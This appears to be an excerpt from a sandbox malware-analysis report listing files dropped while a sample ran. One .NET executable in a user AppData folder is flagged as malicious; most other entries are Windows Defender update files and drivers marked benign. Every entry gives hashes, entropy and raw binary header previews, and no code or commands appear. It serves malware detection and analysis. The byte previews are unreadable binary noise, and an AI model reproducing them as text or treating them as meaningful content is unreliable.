MD5: 0D5DF43AF2916F47D00C1573797C1A13

SHA1: 230AB5559E806574D26B4C20847C368ED55483B0

SHA-256: C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC

SHA-512: F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2

Malicious: true

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F..
..`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc........
......................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P...*..0.."........(......-.r...p.rI..p(....s....z.*...0..........(....~P.....o.....
.*..(....*n(.....(..........%...(....*~(.....(..........%...%...(....*.(.....(..........%...%...%...(....*V.(......}Q.....}R...*..{Q...*..{R...*...0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o 
.....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.1.18500.10_to_1.1.18600.4_mpen
gine.dll._p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: data

Category: dropped

Size (bytes): 2651471

Entropy (8bit): 7.9995368579105

Encrypted: true

SSDEEP: 49152:cATHbjm/iIcfAPkDFdv14M/XGgXqzwoDXK0wo2Ufj8BYuMmLNaCvruHEmWn:cgbHIvq/vlPGgap60PJ8TJaGrMOn

MD5: 3A34FF785F7187B2646BECD9447AE06F

SHA1: 1598F861B9A2F64AA30EDBC67E5E65A5D4E3032D

SHA-256: A4F8A2C124DACF29D353E2A5F3A251A29A5878582B411847FE56055EEFAAFC94

SHA-512: DF85F1E9C4F72E62C284D0DABC30688F5027F5C5E8B9FD9D4B7E8D91A6780836D48C89624627B7F1257D12AE31BF1AB6733798648418E317B8D8B1BE380CD3ED

Malicious: false

Reputation: unknown

Preview:
PA19....~.da(|f..b...h ..cI....(j!.n.|...w.p...!..D..=.......""H..;%.P.#.Q.....Tm.Rth.(Za.%...Z.;...."....................}...5/2-....{0Il....{..no...~o^w...................q....{...o...._.}qwz..l.;...&.z...{..n.
[.n......[oN......6.MG.@n.O...$..m.K.a.....H..........(..!.P......_./@ $.1....Y.......6.....;Y..\.u...`W.G .d.e....XG+)$A.r$......H..<....Jf. )..L 0r.mc..n(.K.e @n8.-.A.2Gw..,...lld.32..bs
.6....Q.....cj..4.o....L.<21....&r@AInLb...%.......9..tp.$'Q..r.S..o.9...e].....hr.W...,CAo/I......~....z.H........o.$.}...........................f..f.........;.9.w.9...3..r.2.6.2*w.....]..T%..I..W.T
R.2.47.Q!...,...ie..$......,M.....Ah..2....P.. ......'y..S}.A.M.....2..U.u.}.A.Q..Km.q.\,..eUQ..0.[G.......]A.y:.-....p..5.c..^._.=a.I^s7..~.......S..\...;.$,8.e]9.].r9=a.:..~3 '...&.x.{.)....L.G5.9.0
...Bk....2...5.#]...^iM.z@f.....f.n.....Z.{.[%-.}.S]W]..b..$...g}...nM..e....L.V..D+[......?.~=.....6+..S..R...*...J..O.r.....rC....Vo..+.J>....

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpasbase.vdm._p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: data

Category: dropped

Size (bytes): 6947288

Entropy (8bit): 7.998652520745969

Encrypted: true

SSDEEP: 196608:Z6h8S1WVWjjc7Wf7zlW0qg2eUCJj6oZT32FBN6DIz:M+S1q7S7BWvMzJxBYHz

MD5: 46F037977005B7E9F8711C1CE7245C6B

SHA1: B04BB6DE0F9F5A2B12C52124AD514D324EF3B616

SHA-256: 3D38C95836DB5540D4354BDA13A83091BF144A907A831604898D9F864126A4D0

SHA-512: 8D84FDCE9A81422A10AA1CC6B450EEA1E593F16DBF57D00A313C3AA9B03BB41F6A94FF8D4739C1ED79B3ED6F1CBF203F455BCCE6654C103BB5294599E47CDC
16

Malicious: false

Reputation: unknown

Preview:
MPSP..j.....8..x..]u\.O._:D$$.E0.AEQQLJ......T..y..n.DA.1PT.n1...nL...;..{.{..q............&..|."S....J....W..TR..)W..[5J..!..&...e...=...Y.$mdz..R.V.".FQ.....iI.ljk.....!J.Sem...Q>.....+T.6
..y..\W.u...*P../..=.2Mox...~..k.n...*........V....O3U....wS%6.*...D.2)NC..q!..2.-J..h=~i.p...DF4.&#.x......54.z.*|.(W..Li..`2.R?.^W2.2.kfB.$d..3..(>..iJ...9.$..J..H.dB..*.LcmU.:..
U.....Ua...H.FS..yE...E;..`..P#..M.!.j..6....M..Z.......C...@.<..Kj..T.......mU...2.D.C.....PG.&.)9.M..AU.......LM;fm={..n....!J.SW74.......jS.h-..J9....I.%'.c.....t.*.(.....aQ..X..L.;.....k
.i..>N.!.i..y.X.2..g...j.,=.>..7m..A....9@........5.J......Kw..0W..r2.)...h...(i>.&>A0...`D.c...).3.mL......;.&..6......)...E....)J..?K..%..;..D]..(S.yx.g.B]....D........5..5...L.+Y.N..R3..z.s.....5H.
.Y.....$../o.$....(.fx-/.";.no.M...vn...l..p.f.*.......X.;W..90..A...kH6^C.u..l...6.....:.P......|.F.k.(..t.....3s..iT...;%.e.D..'m.e.r..YP......^1,...........2O..,`........IQ<K.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: data

Category: dropped

Size (bytes): 5295896

Entropy (8bit): 7.997749364950445

Encrypted: true

SSDEEP: 98304:+3t2My1jJFqD1nlxmI5zN8KGixmH8l2snrho+qico1hSWmnSEOR69MaKJD:+92M8DqTx/dN81iUHooKcofHDZEMaKJD

MD5: F2E9F2343E044B331ECAF82302F5EC4B

SHA1: 049E866B3C7385DD7B00BBEC39453C30B8D29C28

SHA-256: 77AF289327742CC4F520092AA6429A5B829E24F40653DF71D00E31EFF9F3737F

SHA-512: 080509E98915BE390AE6A1ABA880248E98DE10D77AF107FB266DC34CECD43EED9CE77F53C6568C20FA1222DBA1D3FDB79E820656C0B28E1316DA93500C580A7
9

Malicious: false

Reputation: unknown
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Preview:
MPSP..P..Au.[.Aex.l..xTW.6.I ......'..C\p.Dq.....<..!..Cp.BK..H.B..w.s2....}.{]o.s.......j.)m.e._....N.L.,...:......!..g.UN.sH.t../...|6F.F.C.f....d..N./.2^.b*c..)..6...F![...BJ&.g\....%....
f5.r.:...L..$..L6&.,.v=.Me..F...lF.Ou;.C....R..3.).....G...,..../..f.7U..o.2....VA..OV.7r.|.......M?......eS$K...w.ic......y^S..&S.e.J..3..`2.y..4...iT.3..+mL(W'....L...&..&..1MI_J..|...f..e
Z..dZ{&.i.n...e.s.X..).i..th...._M...f..mLgc...3..n.C....25.5=X]..8}.k.!YR..8{>...u...`H.c'.w.K.sxN........z.0.......MN..m.lk........&4..zY....?..O..@f..j.@...i ..}..jH..tf5ekb.........^...T
.4...m.c[.ZY....YZ.l.T..u.....g1..~.eV. F....d.o....M<.5L7..AOl.+......D`l...hO.'..X..;.x...=q....zS..c".J.....1D.s...(1T..`zc...q...Q.74..I.ug.(.0..g.D;1..Ty..3.....t.}......a...`.D..I.`"1.
.L7.`....A.p.............g..M..........J.../.6..._..-e.i.h.z.J...ALw..[...3d...iLo.)..$.?Nk..,a...V*.++..v.-I.T~..M..'1}qj.,.....O.......X..3_.p...|z6.pm.........+.).,....^.j.h...d4..D..[,.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 803176

Entropy (8bit): 6.37118649960636

Encrypted: false

SSDEEP: 24576:Ghj1QlBYDgtUUvie3n+pB3+ojRlcD1VyZTFXk:GhpQlBHtBYla1VyZpU

MD5: 01F92DC7A766FF783AE7AF40FD0334FB

SHA1: 45D7B8E98E22F939ED0083FE31204CAA9A72FA76

SHA-256: FA42B9B84754E2E8368E8929FA045BE86DBD72678176EE75814D2A16D23E5C26

SHA-512: BEA5F3D7FB0984C4A71720F25644CE3151FCDC95586E1E2FFE804D04567AAF30D8678608110E241C7DDF908F94882EDDD84A994573B0C808D1C064F0E135A583

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..#...#...#..EV...#...Q...#...Q...#...Q...#...Q...#...#..."..EV..#..EV
N..#..EV...#..Rich.#..........PE..d.....P.........."......`....................@.............................0.......-....`.......... .......................................t..d....... ........D... ..h!... ......d...p.......................
(......8...........0................................text...2R.......`.................. ..`.rdata.......p... ...p..............@..@.data..../....... ..................@....pdata...D.......P..................@..@.rsrc... ..........
.................@..@.reloc....... ......................@..B.......................................................................................................................................................................................................
.................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 53072304

Entropy (8bit): 7.997563930648501

Encrypted: true

SSDEEP: 1572864:P0U1SslLDBQpTRKb0o76I0RUgRS2uc62zNWPy:P0UplL2tRW0aV0RpS2lTey

MD5: 0157CF1D00DB2F06270440CED26AD2DA

SHA1: E0DA67E235AF6B8DDBA9736504E7638BFF4DB4B0

SHA-256: 15C43FFD2F73BA5E6A0E0A3B845A6FD61EE9E12220C0D98CBDB9E59D6E188914

SHA-512: 0264329D824734BC9BFE3129E4653E5293EFC96555EE98909DD19B37A010747C6368247784972AE478DBC16EF5E031FF99A283CF371F21278DBCE9E94DABAAC5

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........)...........
....................................).......)...`.......................................................... ....)...........)..!...........................................................................................rdata..p...........................@..@.r
src.....).. ....).................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...)..rsrc$02.....................................................................................
..............................................................................................................................................................................................................................................................................
.........................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 560064

Entropy (8bit): 7.994973507871307

Encrypted: true

SSDEEP: 12288:Pd7ZEeM0UxNN8HW+aC09TkkkYcNo4xgBvXxWEizy0j5ygp:FFEl0UxCW+705kbNo4xG+zy0E

MD5: BA3C7573086D8423163D59F8D1925556

SHA1: A2365B179104F8DC8759F8F7474A6F0349E89A1B

SHA-256: 9E0712B1DE627341F23789EB531ED3E425132EB9C8C3666AA4F85D5A3AAAB845

SHA-512: 964B911E11253FA2785A6B51E8993BBE791A43678B8487299DE1DF106072D1581DDB36A2899E9EF7B5E08A2289E8668E928281EAB2F1528719ED6DF677943AD4

Malicious: false

Reputation: unknown

Copyright Joe Security LLC 2021 Page 106 of 181

https://www.metadefender.com/#!/results/file/bzIxMTAwOHVJb1hGeDAyYk5BaUU3U0ZMNFE/regular/analysis


Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.....da.........." .........h............
..........................................]"....`.......................................................... ..pd...........j...!...........................................................................................rdata..p...........................@..@.r
src...pd... ...f..................@..@......da........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...c...rsrc$02....................................................................................
..............................................................................................................................................................................................................................................................................
..........................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdm

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 55848880

Entropy (8bit): 7.995585481148423

Encrypted: true

SSDEEP: 1572864:iy6w1liQqicAsNBasl5IY/hOO0S7WGB9F9L4hxZB:B6uiQqiTE8kIYJn+wFZ4XB

MD5: 7E2B83A39CC26B2B617F404A89B6661C

SHA1: 198F9D59A90993247182EE11AE33AB52E5011C44

SHA-256: 8ED02ED1D817FA7B68466F11F55A2289D82BDD22A360246624BA0F9220D17EE3

SHA-512: BF29A223DFF577DB8967DBEA610DC6DB2D6C0152A896E8BCC851EB67E84AF5367E4A01AC6110554C2813E974EBA9B8C04C2EB03422DCCDE00B1FA8D7F629C5
5F

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d....<_a.........." ..........T...........
...................................0T.......T...`.......................................................... ..@.T...........T..!...........................................................................................rdata..p.......................
....@..@.rsrc...@.T.. ....T.................@..@.....<_a........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ....T..rsrc$02................................................................
..............................................................................................................................................................................................................................................................................
..............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: modified

Size (bytes): 223680

Entropy (8bit): 7.990818331682759

Encrypted: true

SSDEEP: 6144:zTuTaoPBmgsw3GPjN+iD6/x5kEit5VJpolpfvAGos8NU:HCew3GrNvW3GoPf5on

MD5: 2D24E25C23DDC77CCB15B96FD9827218

SHA1: 5B341013E9F624403A4FA42FFFA679650256693D

SHA-256: D2A757353CEE88003F74D44AC75DDAEA0CEA24CC77C7B8E7713036F025C712CB

SHA-512: E14616A364657CED17FC2D2BBB512EC4A1135B4D83F467E1F31BD98B2D5AB441FCD49FBFD10D6F0D900F8BDFE7A0595BED9584C5212FC2433988AB603E2EBE
E2

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R......R..P...R.Rich..R.PE..d.....da.........." .........F............
...................................p......[.....`.......................................................... ...C...........H...!...........................................................................................rdata..p.......................
....@..@.rsrc....C... ...D..................@..@......da........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...C...rsrc$02................................................................
..............................................................................................................................................................................................................................................................................
..............................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exe

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 454904

Entropy (8bit): 6.2829164628823575

Encrypted: false

SSDEEP: 6144:p+BaOdQrqYpWVCPpYXe14f6eFL+TFFzE/tzkY5WwuTWOahE:kQ2YpWkPiXe14f6eFL6FA/zWwgChE

MD5: 065E4E5BE96865266D1FC4449274CE20

SHA1: C6FF45B448F7B828D8C6369B5DE95B41E685F502

SHA-256: 98E3951BA9FACFB2B878D98D237D63C675878A09D9B6E18640C96746B6665041

SHA-512: E63A5CF20678757F3FA277C56576F0DFBFF41DCBE61BEEFF28C608EE5D2BE2766E16A93E2FC423E6697670AC7E164E2B29EE5755AADAAE1C58B6F6F3FE1A64
81

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............._..._..._...^..._..x_..._K..^..._K..^..._K..^N.._K..^..._..._..._...^..._...
_..._...^..._Rich..._........................PE..d......m.........."..........P.......u.........@.....................................]....`.......... ...................................................#...p...9....... ...... ...8f..p......
.............8...(.......8...........`...8............................text............................... ..`.rdata...u..........................@..@.data...PD... ...0... ..............@....pdata...9...p...@...P..............@..@.
rsrc....#.......0..................@..@.reloc.. ...........................@..B...........................................................................................................................................................................
.....................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exe

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dll

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 303352

Entropy (8bit): 6.103843753653899

Encrypted: false

SSDEEP: 6144:6CFCIAsyTqaF2uNoLQ7iF5K8+v5y8hCs2Y:6ypfyTqIL6LQ7iF5K8+484BY

MD5: 8C7A45FC0FDFB95104C84A68EAFBD170

SHA1: D770064F1956FF05248E4C56DCF511928A7D8C3F

SHA-256: B0A45EEB123840F105A40DB938553801C54DC5EED5FD2F710AC7EA24E16D0B56

SHA-512: CD0B5A72D12B513B9EE160C1A18275893480488378A0E8E241600F0DCB1275B1F3CDC3C0096345D9A2B942C800484DC0E5210E0C4B409D5FE69B94716CE432FF

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q[.'5:}t5:}t5:}t.O|u7:}t.O~u4:}t<B.t1:}t.H|u,:}t5:|tM;}t.Hyu(:}t.H~u;:}t
.Hxu.:}t.O}u4:}t.Otuy:}t.O.t4:}t.O.u4:}tRich5:}t........................PE..d...c..P.........." ......................................................................`A........................................0...p............p....
...@..`$....... ......8.......p...................h@..(...0?..8............@...............................text...L........................... ..`.rdata..............................@..@.data....-....... ..................@....pda
ta..`$...@...0...0..............@..@.rsrc........p.......`..............@..@.reloc..8............p..............@..B............................................................................................................................
....................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sys

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (native) x86-64, for MS Windows

Category: dropped

Size (bytes): 48520

Entropy (8bit): 6.2073261328907865

Encrypted: false

SSDEEP: 768:0WfrO9dZBf9slBe+eRPKUjKHWPkKrdtBGgz:1ybZMrCKUjKulLBH

MD5: 1BF7CF2DBA97C71FF1876F0DE67421C3

SHA1: 48DFEC30B75138FCAF5DFFE16CB9822BA4CC4178

SHA-256: B946398AB34EF5BF16DC3461D32261664760C0F86E8A281BCD90361A170E27FD

SHA-512: 11E1E1C339F9BFFC83919946ACFA6F3D5CC1C7494A21629332004E2445AAE919A0E014366DFDCE7764C934E1F7C2C0CABAAFF0179C8A145DBB0759BAE218F54
0

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kM.W/,../,../,../,...,...^..*,...^..,,...^..=,...^..),...Y..$,...Y}..,...Y...,..Ri
ch/,..........PE..d...9............."......d...4...........................................................`A.................................................q..<.......`....`...........!......@....8..p...........................@0..8......
......p..`............................text............ .................. ..h.rdata..0....0.......$..............@..H.data........P.......8..............@....pdata.......`.......<..............@..H.idata.......p.......@...........
...@..HPAGE...../.......0...H.............. ..`INIT.................x.............. ..bGFIDS...$...........................@..B.rsrc...`...........................@..B.reloc..............................@..B.......................
.........................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sys

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (native) x86-64, for MS Windows

Category: dropped

Size (bytes): 164072

Entropy (8bit): 6.14800914066086

Encrypted: false

SSDEEP: 3072:A1y1RnaePd+RhtbV0vgn8wNgaZp8kdiQfH4M4mD:3naePkRhtbV0vrwNgaZp8G7fYe

MD5: 26B890C2237E48DAF8B9B901EBE7A0C1

SHA1: 08976CF446255E9BB538B8540BBE0DD4BF3E8A65

SHA-256: B1D793E12DBF2CE5197960454F0A5AE6C93703FA5BF2D7622EC0FDFBAC183211

SHA-512: F580903A15E67888F714CA073D4B56C349131D2C03769092794656E538E0501CCAAC4B563311346B22AD8F81302FE2FBE22F4F6B1BD352BC4213EAED7F7F25D1

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d.i. ... ... .......#... ..........'...............%...............!.......!...Rich ........
...................PE..d...l:..........."..................X.....................................................A....................................................P....p...............`... ..............p...........................Pb..8...........
.................................text...*O.......P.................. ..h.rdata...Y...`...\...T..............@..H.data...............................@....pdata..............................@..H.idata........... ..................@.
.HPAGE....!).......,.................. ..`INIT.....)...0...,.................. ..bGFIDS........`.......@..............@..B.rsrc........p.......D..............@..B.reloc...............L..............@..B..................
..............................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sys

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sys

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (native) x86-64, for MS Windows

Category: dropped

Size (bytes): 434424

Entropy (8bit): 6.350342003442293

Encrypted: false

SSDEEP: 6144:EF/vuF3th9Gf4GYapoQm1RGpIk6IjKtGnpPVzcZYac3UA2dwcSogCYog:EYFdhQgGYNPR8Iv1gpP+2oG

MD5: B6C6FFC05B52D2F8A433DD12C3A11D30

SHA1: F221740A99726722E5F5DF8CC3A0182436060A46

SHA-256: 666259E830F5EAC0707B2D957944B7468FA645271C60B8EA54E5130B8336D1F6

SHA-512: 1B0ABBB15A3018B584B0239C04A94E38FE433D382771BF8CFFAECC5B8776AC87DBC4278B4D2E0A341026F3B9FF43B84F604A52797D134E2C3881ADF03C9358F6

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Qm.0..kc..kc..kc..jc..kc.~jb..kc.~nb..kc.~ob..kc.~hb..kc.ycb-.
kc.y.c..kc.yib..kcRich..kc................PE..d....5............"......L...4.......H..............................................=......A...................................................P....p.......`..4#....... ...........!..p..........
.................P...8............................................text............................... ..h.rdata..H}..........................@..H.data...d....P.......D..............@....pdata..4#...`...$...L..............@..H.idat
a...,.......0...p..............@..HPAGE.....-.......0.................. ..`INIT.....[.......\.................. ..bINIT.........P.......,..............@...GFIDS...<....`.......4..............@..B.rsrc........p.......8.............
.@..B.reloc...........0...P..............@..B................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sys

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (native) x86-64, for MS Windows

Category: dropped

Size (bytes): 86264

Entropy (8bit): 6.087010539108971

Encrypted: false

SSDEEP: 1536:xFbk8rfBGjiGUQiQ5Df0uEWWH1shZJ+Rb7NvmoHPNr:xFbprZGuzQnjR81shW5JvmCFr

MD5: 9C4361259D5F0D7A36A10BD28D000F90

SHA1: F1CB41DB2356666AD123686B0AD52A2112D91474

SHA-256: 7445476DE9BAB0D9C975DBDF63BD928D7E3139DF3FC69463BF08897E3B087575

SHA-512: 55863A0B999439CD0C1747A81BD34991D81C631571797CC6F6335B60F1D054EB31951418DAF5587ADC43F65F16711482FBC82D0F0C9495CFBA834919FDBF9264

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........U..U..U.....Q..U..,.....R.....E.....S....Z...%.T....T..RichU..................
PE..d....%.........."..........\.......`....................................................`A................................................h...P....................0... ......H...X...p...............................8...............@...............
.............text...*........................... ..h.rdata..p .......$..................@..H.data...(...........................@....pdata..............................@..H.idata..............................@..HPAGE....H 
...0...$.................. ..`INIT.........`...................... ..bGFIDS........p......................@..B.rsrc...............................@..B.reloc...............$..............@..B................................................
........................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-AMFilter.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 12624

Entropy (8bit): 5.259327730394375

Encrypted: false

SSDEEP: 192:/5mm9AfGjUa1rIL+FUVin2F/OZDfYj5YbAxqTSSS6S8SzSySovK1ZVuB:/5mm9AfGtML+Fws2Fo7m5YcxHKrVo

MD5: B6D65A86FC1999A62DA10EA3C4CAD3E4

SHA1: E79E97C04D8540A2005D21021F7781676E705BCD

SHA-256: 05B2BFD40FB3A344C3AE178C420A7FEA9595815CB1CC07843078112F5F551EAF

SHA-512: 7F13B4930F9BF9ABCFD64E905DA4F0111B34197A533FB0162E43C4C80F39D135ADAA09C3E7AF3E95397BEF5D1D323E75721CEE150517CB13EBED3029C781BEC
6

Malicious: false

Reputation: unknown
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Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Drivers" 
processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...  ..      ***********
************************************************************************************************..          Driver files..      ************************************************************************
***********************************..      -->...<file destinationPath="$(runtime.drivers)" importPath="$(build.campBinaryImportPath)" name="WdFilter.sys" sourceName="WdF
ilter.sys" sourcePath=".\"></file>...<file destinationPath="$(runtime.drivers)" importPath="$(build.campBinaryImportPath)" name="WdBoot.sys" sourceName="WdBoot.sys" 
sou

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-AMFilter.man

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Microsoft-Antimalware-NIS.man
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 6173

Entropy (8bit): 5.373156847974759

Encrypted: false

SSDEEP: 96:/3coK5HjFWr/96Hj+Uul2lewqo3nRtlUl3lflxSDwMKRbRhK18YaKMr4e:/mDFcujBuEgI3nzC1Z6V8f3

MD5: 5562965C32F03AE0DF8B9DEF950F8651

SHA1: 6E5AD734AB6A9F8B82B19024E21007AC2CAD2540

SHA-256: EA64BE59286B67AE930729FA92B2B08DCE5C2EAEB70FEABE2320C47FB6DDAC6C

SHA-512: F64D728AFE40800968D0B165019E775F62F2CCA40BFBB370F52F4BA8FCC2574F79D2C4AC41CCAE6E1CEC23082BA24B5E6C0A5531E6B336683BEEEDDA3CB81C
DE

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v3" xmlns:xsd="http://www.w3.org/2001/XML
Schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">...<assemblyIdentity buildType="release" language="neutral" name="Windows-Defender-Service-
NisSrvEtw" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" version="10.0.10011.16384" versionScope="nonSxS"></assemblyIdentity>...<
instrumentation>....<events xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">.....<
